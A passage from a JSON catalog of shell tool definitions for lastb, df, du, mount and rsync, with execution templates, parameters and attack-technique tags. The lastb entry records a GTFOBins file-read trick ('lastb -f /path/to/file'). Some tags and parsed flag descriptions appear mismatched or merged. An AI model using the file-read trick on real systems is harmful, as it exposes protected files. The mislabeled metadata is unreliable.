      "last",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Show bad login attempts, can read files.",
    "examples": [
      {
        "description": "Read a file via lastb",
        "command": "lastb -f /path/to/file"
      }
    ],
    "execution": {
      "template": "lastb -f /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-session-lastb",
    "install": [
      {
        "method": "apt",
        "package_name": "sysvinit-utils",
        "commands": [
          "apt-get install -y sysvinit-utils"
        ]
      }
    ],
    "name": "lastb",
    "namespace": "system:session:lastb",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/lastb/"
      }
    ],
    "related_tools": [
      "last"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "\n\n# df — Report filesystem disk space usage\n\n## Overview\n\n`df` is a command-line utility for report filesystem disk space usage.\n\n## Usage\n\n```\ndf -a {all} -B {block-size} -h {human-readable} -H {si} -i {inodes}\n```\n",
    "_source": "df.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.storage.df",
      "system.storage.usage",
      "system.storage.mount"
    ],
    "description": "Report filesystem disk space usage",
    "examples": [
      {
        "description": "Basic usage with all",
        "command": "df ${all}"
      },
      {
        "description": "Display help message",
        "command": "df --help"
      },
      {
        "description": "Print free disk space in a [h]uman-readable format.",
        "command": "df -h"
      },
      {
        "description": "Free disk space for [t]ype EXT2 file systems.",
        "command": "df -t ext2"
      },
      {
        "description": "Free disk space for filesystems, e[x]cluding EXT2.",
        "command": "df -x ext2"
      },
      {
        "description": "Show [i]node usage.",
        "command": "df -i"
      },
      {
        "description": "Show information about a distinct filesystem path.",
        "command": "df [PATH]"
      },
      {
        "description": "List [a]ll filesystems, + unreadable, duplicates, pseudo, and inaccessible.",
        "command": "df -a"
      },
      {
        "description": "Fetch a grand total of disk usage.",
        "command": "df --total"
      }
    ],
    "execution": {
      "template": "df -a {all} -B {block-size} -h {human-readable} -H {si} -i {inodes}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local"
    ],
    "id": "system-storage-df",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "df",
    "namespace": "system:storage:df",
    "parameters": [
      {
        "name": "all",
        "template_key": "all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "include pseudo, duplicate, inaccessible file systems",
        "aliases": [
          "-a",
          "--all"
        ],
        "flag": "-a"
      },
      {
        "name": "block-size",
        "template_key": "block-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "scale sizes by SIZE before printing them; see SIZE format below; E.g., '-BM' prints sizes in units of 1,048,576 bytes",
        "aliases": [
          "-B",
          "--block-size"
        ],
        "flag": "-B"
      },
      {
        "name": "exclude-type",
        "template_key": "exclude-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "limit listing to file systems not of type TYPE",
        "aliases": [
          "-x",
          "--exclude-type"
        ],
        "flag": "-x"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like --block-size=1K",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-v",
        "template_key": "flag-v",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "(ignored) --help display this help and exit --version output version information and exit",
        "aliases": [
          "-v"
        ],
        "flag": "-v"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "human-readable",
        "template_key": "human-readable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print sizes in powers of 1024 (e.g., 1023M)",
        "aliases": [
          "-h",
          "--human-readable"
        ],
        "flag": "-h"
      },
      {
        "name": "inodes",
        "template_key": "inodes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "list inode information instead of block usage",
        "aliases": [
          "-i",
          "--inodes"
        ],
        "flag": "-i"
      },
      {
        "name": "local",
        "template_key": "local",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "limit listing to local file systems --no-sync do not invoke sync before getting usage info (default) --output[=FIELD_LIST] use the output format defined by FIELD_LIST, or print all fields if FIELD_LIST is omitted",
        "aliases": [
          "-l",
          "--local"
        ],
        "flag": "-l"
      },
      {
        "name": "no_sync",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--no-sync"
        ],
        "flag": "--no-sync"
      },
      {
        "name": "output",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--output"
        ],
        "flag": "--output"
      },
      {
        "name": "portability",
        "template_key": "portability",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "use the POSIX output format --sync invoke sync before getting usage info --total elide all entries insignificant to available space, and produce a grand total",
        "aliases": [
          "-P",
          "--portability"
        ],
        "flag": "-P"
      },
      {
        "name": "print-type",
        "template_key": "print-type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print file system type",
        "aliases": [
          "-T",
          "--print-type"
        ],
        "flag": "-T"
      },
      {
        "name": "si",
        "template_key": "si",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print sizes in powers of 1000 (e.g., 1.1G)",
        "aliases": [
          "-H",
          "--si"
        ],
        "flag": "-H"
      },
      {
        "name": "type",
        "template_key": "type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "limit listing to file systems of type TYPE",
        "aliases": [
          "-t",
          "--type"
        ],
        "flag": "-t"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-storage-du"
    ],
    "risk_level": "low",
    "techniques": [
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# du — Estimate file space usage\n\n## Overview\n\n`du` is a command-line utility for estimate file space usage.\n\n## Usage\n\n```\ndu -0 {null} -a {all} -A {apparent-size} -B {block-size} -b {bytes}\n```\n",
    "_source": "du.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.storage.du",
      "system.storage.usage",
      "system.storage.mount"
    ],
    "description": "Estimate file space usage",
    "examples": [
      {
        "description": "Basic usage with null",
        "command": "du ${null}"
      },
      {
        "description": "Display help message",
        "command": "du --help"
      },
      {
        "description": "With 'root' privileges, use du(1), sort(1), and head(1) to display a list of the top 20 space-consuming files in whichever storage medium '/' is mounted. Here, du(1) is using the `-x` flag to keep to the one filesystem, which is important for getting accurate results on the filesystem on which you might, for example, be needing to free space. In order to sort the human-readable file sizes, sort(1) is using the `-h` flag, the `-k` flag to specify the column to sort (first), and its using the `-r` flag to reverse the sorting, so we see the highest size first. To then show the top-20 lines, we use head(1) and specify the number of lines via the `-n` flag. The default number of lines displayed by head(1) and tail(1) is 10. Root privileges are gained for this task by using sudo(8) on bash(1) in order to have a new root-owned BASH session, which then executes the commands proceeding the `-c` flag.",
        "command": "sudo bash -c 'du -xh / | sort -rhk 1 | head -n 20'"
      },
      {
        "description": "Display just the total human-readable size of the current working directory.",
        "command": "du -sh"
      },
      {
        "description": "Display the total human-readable size of the three provided directories, as well as the grand total of the combined directories.",
        "command": "du -chs ~/Desktop ~/Pictures ~/Videos"
      },
      {
        "description": "You could potentially make this task a bit easier with BASH brace expansion.",
        "command": "du -chs ~/{Desktop,Pictures,Videos}"
      }
    ],
    "execution": {
      "template": "du -0 {null} -a {all} -A {apparent-size} -B {block-size} -b {bytes}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local"
    ],
    "id": "system-storage-du",
    "install": [
      {
        "method": "apt",
        "package_name": "coreutils",
        "commands": [
          "apt-get install -y coreutils"
        ]
      }
    ],
    "name": "du",
    "namespace": "system:storage:du",
    "parameters": [
      {
        "name": "all",
        "template_key": "all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "write counts for all files, not just directories",
        "aliases": [
          "-a",
          "--all"
        ],
        "flag": "-a"
      },
      {
        "name": "apparent-size",
        "template_key": "apparent-size",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print apparent sizes rather than device usage; although the apparent size is usually smaller, it may be larger due to holes in ('sparse') files, internal fragmentation, indirect blocks, etc",
        "aliases": [
          "-A",
          "--apparent-size"
        ],
        "flag": "-A"
      },
      {
        "name": "block-size",
        "template_key": "block-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "scale sizes by SIZE before printing them; See SIZE format below; E.g., '-BM' prints sizes in units of 1,048,576 bytes",
        "aliases": [
          "-B",
          "--block-size"
        ],
        "flag": "-B"
      },
      {
        "name": "bytes",
        "template_key": "bytes",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to '--apparent-size --block-size=1'",
        "aliases": [
          "-b",
          "--bytes"
        ],
        "flag": "-b"
      },
      {
        "name": "count-links",
        "template_key": "count-links",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "count sizes many times if hard linked",
        "aliases": [
          "-l",
          "--count-links"
        ],
        "flag": "-l"
      },
      {
        "name": "dereference",
        "template_key": "dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "dereference all symbolic links",
        "aliases": [
          "-L",
          "--dereference"
        ],
        "flag": "-L"
      },
      {
        "name": "dereference-args",
        "template_key": "dereference-args",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "dereference only symlinks that are listed on the command line",
        "aliases": [
          "-D",
          "--dereference-args"
        ],
        "flag": "-D"
      },
      {
        "name": "exclude-from",
        "template_key": "exclude-from",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "exclude files that match any pattern in FILE --exclude=PATTERN exclude files that match PATTERN",
        "aliases": [
          "-X",
          "--exclude-from"
        ],
        "flag": "-X"
      },
      {
        "name": "files0_from",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--files0-from"
        ],
        "flag": "--files0-from"
      },
      {
        "name": "flag-H",
        "template_key": "flag-h",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "equivalent to --dereference-args (-D)",
        "aliases": [
          "-H"
        ],
        "flag": "-H"
      },
      {
        "name": "flag-k",
        "template_key": "flag-k",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like --block-size=1K",
        "aliases": [
          "-k"
        ],
        "flag": "-k"
      },
      {
        "name": "flag-m",
        "template_key": "flag-m",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "like --block-size=1M",
        "aliases": [
          "-m"
        ],
        "flag": "-m"
      },
      {
        "name": "help",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--help"
        ],
        "flag": "--help"
      },
      {
        "name": "human-readable",
        "template_key": "human-readable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "print sizes in human readable format (e.g., 1K 234M 2G) --inodes list inode usage information instead of block usage",
        "aliases": [
          "-h",
          "--human-readable"
        ],
        "flag": "-h"
      },
      {
        "name": "inodes",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--inodes"
        ],
        "flag": "--inodes"
      },
      {
        "name": "max-depth",
        "template_key": "max-depth",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "print the total for a directory (or file, with --all) only if it is N or fewer levels below the command line argument; --max-depth=0 is the same as --summarize --files0-from=F summarize device usage of the NUL-terminated file names specified in file F; if F is -, read names from standard input",
        "aliases": [
          "-d",
          "--max-depth"
        ],
        "flag": "-d"
      },
      {
        "name": "no-dereference",
        "template_key": "no-dereference",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't follow any symbolic links (this is the default)",
        "aliases": [
          "-P",
          "--no-dereference"
        ],
        "flag": "-P"
      },
      {
        "name": "null",
        "template_key": "null",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "end each output line with NUL, not newline",
        "aliases": [
          "-0",
          "--null"
        ],
        "flag": "-0"
      },
      {
        "name": "one-file-system",
        "template_key": "one-file-system",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "skip directories on different file systems --help display this help and exit --version output version information and exit",
        "aliases": [
          "-x",
          "--one-file-system"
        ],
        "flag": "-x"
      },
      {
        "name": "separate-dirs",
        "template_key": "separate-dirs",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "for directories do not include size of subdirectories --si like -h, but use powers of 1000 not 1024",
        "aliases": [
          "-S",
          "--separate-dirs"
        ],
        "flag": "-S"
      },
      {
        "name": "si",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--si"
        ],
        "flag": "--si"
      },
      {
        "name": "summarize",
        "template_key": "summarize",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display only a total for each argument",
        "aliases": [
          "-s",
          "--summarize"
        ],
        "flag": "-s"
      },
      {
        "name": "threshold",
        "template_key": "threshold",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "exclude entries smaller than SIZE if positive, or entries greater than SIZE if negative --time show time of the last modification of any file in the directory, or any of its subdirectories --time=WORD show time as WORD instead of modification time: atime, access, use, ctime or status --time-style=STYLE time/date format with --time; see TIME_STYLE below",
        "aliases": [
          "-t",
          "--threshold"
        ],
        "flag": "-t"
      },
      {
        "name": "time",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--time"
        ],
        "flag": "--time"
      },
      {
        "name": "time_style",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--time-style"
        ],
        "flag": "--time-style"
      },
      {
        "name": "total",
        "template_key": "total",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "produce a grand total",
        "aliases": [
          "-c",
          "--total"
        ],
        "flag": "-c"
      },
      {
        "name": "version",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "phase": "exploitation",
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-storage-df"
    ],
    "risk_level": "low",
    "techniques": [
      "discovery",
      "defense-evasion",
      "execution",
      "process-manip"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n\n# mount — Mount a filesystem\n\n## Overview\n\n`mount` is a command-line utility for mount a filesystem.\n\n## Usage\n\n```\nmount -a {all} -c {no-canonicalize} -f {fake} -F {fork} -T {fstab}\n```\n",
    "_source": "mount.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.storage.mount",
      "system.storage.usage",
      "system.storage.mount"
    ],
    "description": "Mount a filesystem",
    "examples": [
      {
        "description": "Basic usage with all",
        "command": "mount ${all}"
      },
      {
        "description": "Display help message",
        "command": "mount --help"
      },
      {
        "description": "Mount a temporary filesystem (TMPFS) of 4GB to '/mnt'. The contents will vanish when you reboot, but this can be very useful when working with things like bootstrap tarballs or temporary storages for sensitive data.",
        "command": "mount -t tmpfs -o mode=755,size=4096M tmpfs /mnt"
      }
    ],
    "execution": {
      "template": "mount -a {all} -c {no-canonicalize} -f {fake} -F {fork} -T {fstab}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local"
    ],
    "id": "system-storage-mount",
    "install": [
      {
        "method": "apt",
        "package_name": "mount",
        "commands": [
          "apt-get install -y mount"
        ]
      }
    ],
    "name": "mount",
    "namespace": "system:storage:mount",
    "parameters": [
      {
        "name": "all",
        "template_key": "all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mount all filesystems mentioned in fstab",
        "aliases": [
          "-a",
          "--all"
        ],
        "flag": "-a"
      },
      {
        "name": "bind",
        "template_key": "bind",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mount a subtree somewhere else (same as -o bind)",
        "aliases": [
          "-B",
          "--bind"
        ],
        "flag": "-B"
      },
      {
        "name": "fake",
        "template_key": "fake",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "dry run; skip the mount(2) syscall",
        "aliases": [
          "-f",
          "--fake"
        ],
        "flag": "-f"
      },
      {
        "name": "fork",
        "template_key": "fork",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "fork off for each device (use with -a)",
        "aliases": [
          "-F",
          "--fork"
        ],
        "flag": "-F"
      },
      {
        "name": "fstab",
        "template_key": "fstab",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "alternative file to /etc/fstab",
        "aliases": [
          "-T",
          "--fstab <path>"
        ],
        "flag": "-T"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "internal-only",
        "template_key": "internal-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't call the mount.<type> helpers",
        "aliases": [
          "-i",
          "--internal-only"
        ],
        "flag": "-i"
      },
      {
        "name": "label",
        "template_key": "label",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "synonym for LABEL=<label>",
        "aliases": [
          "-L",
          "--label <label>"
        ],
        "flag": "-L"
      },
      {
        "name": "make-private",
        "template_key": "make-private",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mark a subtree as private",
        "aliases": [
          "--make-private"
        ],
        "flag": "--make-private"
      },
      {
        "name": "make-rprivate",
        "template_key": "make-rprivate",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "recursively mark a whole subtree as private",
        "aliases": [
          "--make-rprivate"
        ],
        "flag": "--make-rprivate"
      },
      {
        "name": "make-rshared",
        "template_key": "make-rshared",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "recursively mark a whole subtree as shared",
        "aliases": [
          "--make-rshared"
        ],
        "flag": "--make-rshared"
      },
      {
        "name": "make-rslave",
        "template_key": "make-rslave",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "recursively mark a whole subtree as slave",
        "aliases": [
          "--make-rslave"
        ],
        "flag": "--make-rslave"
      },
      {
        "name": "make-runbindable",
        "template_key": "make-runbindable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "recursively mark a whole subtree as unbindable",
        "aliases": [
          "--make-runbindable"
        ],
        "flag": "--make-runbindable"
      },
      {
        "name": "make-shared",
        "template_key": "make-shared",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mark a subtree as shared",
        "aliases": [
          "--make-shared"
        ],
        "flag": "--make-shared"
      },
      {
        "name": "make-slave",
        "template_key": "make-slave",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mark a subtree as slave",
        "aliases": [
          "--make-slave"
        ],
        "flag": "--make-slave"
      },
      {
        "name": "make-unbindable",
        "template_key": "make-unbindable",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mark a subtree as unbindable",
        "aliases": [
          "--make-unbindable"
        ],
        "flag": "--make-unbindable"
      },
      {
        "name": "map-groups",
        "template_key": "map-groups",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "add the specified GID map to an ID-mapped mount --map-users <inner>:<outer>:<count> add the specified UID map to an ID-mapped mount --map-users /proc/<pid>/ns/user specify the user namespace for an ID-mapped mount",
        "aliases": [
          "--map-groups <inner>"
        ],
        "flag": "--map-groups"
      },
      {
        "name": "map_users",
        "type": "boolean",
        "required": false,
        "description": "<outer>:<count>",
        "aliases": [
          "--map-users"
        ],
        "flag": "--map-users"
      },
      {
        "name": "mkdir",
        "template_key": "mkdir",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "alias to '-o X-mount.mkdir[=<mode>]'",
        "aliases": [
          "-m",
          "--mkdir"
        ],
        "flag": "-m"
      },
      {
        "name": "move",
        "template_key": "move",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "move a subtree to some other place",
        "aliases": [
          "-M",
          "--move"
        ],
        "flag": "-M"
      },
      {
        "name": "namespace",
        "template_key": "namespace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "perform mount in another namespace",
        "aliases": [
          "-N",
          "--namespace <ns>"
        ],
        "flag": "-N"
      },
      {
        "name": "no-canonicalize",
        "template_key": "no-canonicalize",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't canonicalize paths",
        "aliases": [
          "-c",
          "--no-canonicalize"
        ],
        "flag": "-c"
      },
      {
        "name": "no-mtab",
        "template_key": "no-mtab",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "don't write to /etc/mtab",
        "aliases": [
          "-n",
          "--no-mtab"
        ],
        "flag": "-n"
      },
      {
        "name": "onlyonce",
        "type": "boolean",
        "required": false,
        "description": "check if filesystem is already mounted",
        "aliases": [
          "--onlyonce"
        ],
        "flag": "--onlyonce"
      },
      {
        "name": "options",
        "template_key": "options",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "comma-separated list of mount options",
        "aliases": [
          "-o",
          "--options <list>"
        ],
        "flag": "-o"
      },
      {
        "name": "options-mode",
        "template_key": "options-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "what to do with options loaded from fstab --options-source <source> mount options source --options-source-force force use of options from fstab/mtab --onlyonce check if filesystem is already mounted",
        "aliases": [
          "--options-mode <mode>"
        ],
        "flag": "--options-mode"
      },
      {
        "name": "options_source",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--options-source"
        ],
        "flag": "--options-source"
      },
      {
        "name": "options_source_force",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--options-source-force"
        ],
        "flag": "--options-source-force"
      },
      {
        "name": "rbind",
        "template_key": "rbind",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mount a subtree and all submounts somewhere else",
        "aliases": [
          "-R",
          "--rbind"
        ],
        "flag": "-R"
      },
      {
        "name": "read-only",
        "template_key": "read-only",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "mount the filesystem read-only (same as -o ro)",
        "aliases": [
          "-r",
          "--read-only"
        ],
        "flag": "-r"
      },
      {
        "name": "rw",
        "template_key": "rw",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-w",
          "-w",
          "--rw",
          "--read-write"
        ],
        "flag": "-w"
      },
      {
        "name": "show-labels",
        "template_key": "show-labels",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "show also filesystem labels",
        "aliases": [
          "-l",
          "--show-labels"
        ],
        "flag": "-l"
      },
      {
        "name": "source",
        "template_key": "source",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explicitly specifies source (path, label, uuid)",
        "aliases": [
          "--source <src>"
        ],
        "enum": [
          "path",
          "label",
          "uuid"
        ],
        "flag": "--source"
      },
      {
        "name": "target",
        "template_key": "target",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "explicitly specifies mountpoint",
        "aliases": [
          "--target <target>"
        ],
        "flag": "--target"
      },
      {
        "name": "target-prefix",
        "template_key": "target-prefix",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "specifies path used for all mountpoints",
        "aliases": [
          "--target-prefix <path>"
        ],
        "flag": "--target-prefix"
      },
      {
        "name": "test-opts",
        "template_key": "test-opts",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-O",
          "-a",
          "--test-opts <list>"
        ],
        "flag": "-O"
      },
      {
        "name": "types",
        "template_key": "types",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "limit the set of filesystem types",
        "aliases": [
          "-t",
          "--types <list>"
        ],
        "flag": "-t"
      },
      {
        "name": "uuid",
        "template_key": "uuid",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "synonym for UUID=<uuid>",
        "aliases": [
          "-U",
          "--uuid <uuid>"
        ],
        "flag": "-U"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "say what is being done",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "display version",
        "aliases": [
          "-V",
          "--version"
        ],
        "flag": "-V"
      }
    ],
    "platforms": [
      "linux"
    ],
    "risk_level": "low",
    "techniques": [
      "discovery",
      "credential-access",
      "privilege-escalation"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "\n# Rsync — File Synchronization\n\nRsync is a fast, versatile file synchronization tool that transfers only the differences between source and destination (delta encoding), making repeated transfers extremely efficient.\n\n## How It Works\n\n1. **Scan** — Rsync examines source and destination files\n2. **Delta** — Only the changed parts of files are transferred\n3. **Apply** — Changes are written to the destination\n\n## Key Features\n\n| Feature | Description |\n|---------|-------------|\n| **Delta transfer** | Only transfers differences, not entire files |\n| **Compression** | Optional `-z` flag for network-efficient transfer |\n| **Preservation** | Maintains permissions, ownership, timestamps |\n| **Remote sync** | Built-in SSH support for secure remote sync |\n| **Incremental** | Hard-link based snapshots for backup rotation |\n\n## Backup Strategies\n\n### Simple Backup\n```bash\nrsync -av /home/user/ /backup/daily/\n```\n\n### Rotating Snapshots\n```bash\n# Create hardlink-based incremental backup\nrsync -av --link-dest=../monday /source/ /backup/tuesday/\n\n# Next day\nrsync -av --link-dest=../tuesday /source/ /backup/wednesday/\n```\n\n### Remote Backup\n```bash\n# Push to remote\nrsync -avz --delete /data/ user@backup-server:/backup/\n\n# Pull from remote\nrsync -avz user@server:/data/ /local/backup/\n```\n\n## Important Trailing Slash\n\n```bash\n# Copies the directory itself\nrsync -av /source /destination  # → /destination/source/\n\n# Copies the contents\nrsync -av /source/ /destination  # → /destination/file1, ...\n```\n\n## Related Tools\n\n- **[scp](../../remote/scp.md)** — Simple secure copy (simpler, no delta)\n- **[rclone](../../sync/rclone.md)** — Cloud storage sync\n- **[tar](../../archive/tar.md)** — Archive creation for offline transfer\n",
    "_source": "rsync.md",
    "allowed-tools": [
      "rsync",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64",
      "cross-platform"
    ],
    "artifacts": [
      {
        "type": "filesystem.directory.synced",
        "description": "Destination directory after rsync operation",
        "trust_level": "verified"
      },
      {
        "type": "system.backup.archive",
        "description": "Backup archive created via rsync",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "filesystem.sync.local",
      "filesystem.sync.remote",
      "filesystem.sync.incremental",
      "filesystem.sync.archive",
      "filesystem.transfer.delta",
      "filesystem.backup"
    ],
    "contract": {
      "inputs": [
        {
          "type": "filesystem.directory.source",
          "description": "Source directory or file path"
        },
        {
          "type": "filesystem.directory.destination",
          "description": "Destination directory path"
        }
      ],
      "outputs": [
        {
          "type": "filesystem.directory.synced",
          "description": "Synchronized destination directory"
        }
      ],
      "side_effects": [
        "filesystem_write"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "high"
      }
    },
    "dependencies": [
      "ssh"
    ],
    "description": "Fast, versatile file synchronization and transfer tool with delta encoding, compression, and remote sync over SSH.",
    "examples": [
      {
        "description": "Local directory sync",
        "command": "rsync -av /source/dir/ /backup/dir/"
      },
      {
        "description": "Remote sync over SSH",
        "command": "rsync -avz /local/dir/ user@remote:/backup/dir/"
      },
      {
        "description": "Pull remote directory to local",
        "command": "rsync -avz user@remote:/source/dir/ /local/dir/"
      },
      {
        "description": "Incremental backup with hardlinks",
        "command": "rsync -av --link-dest=../previous /source/ /backup/current/"
      },
      {
        "description": "Dry run to preview changes",
        "command": "rsync -avn /source/ /destination/"
      },
      {
        "description": "Sync with exclusions",
        "command": "rsync -av --exclude='node_modules' --exclude='.git' /project/ /backup/"
      }
    ],
    "execution": {
      "template": "rsync {verbose} {info} {debug} {stderr} {quiet}",
      "sandbox": "execFile",
      "timeout_seconds": 600,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "network-intensive",
      "remote"
    ],
    "global_vars": {
      "target": "ip",
      "user": "user",
      "port": "port"
    },
    "id": "system-sync-rsync",
    "install": [
      {
        "method": "apt",
        "package_name": "rsync",
        "commands": [
          "apt-get install -y rsync"
        ]
      }
    ],
    "name": "rsync",
    "namespace": "system:sync:rsync",
    "parameters": [
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "increase verbosity",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "info",
        "template_key": "info",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "fine-grained informational verbosity",
        "aliases": [
          "--info"
        ],
        "flag": "--info"
      },
      {
        "name": "debug",
        "template_key": "debug",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "fine-grained debug verbosity",
        "aliases": [
          "--debug"
        ],
        "flag": "--debug"
      },
      {
        "name": "stderr",
        "template_key": "stderr",
        "type": "string",
        "required": false,
        "default_value": "errors",
        "description": "change stderr output mode",
        "aliases": [
          "--stderr"
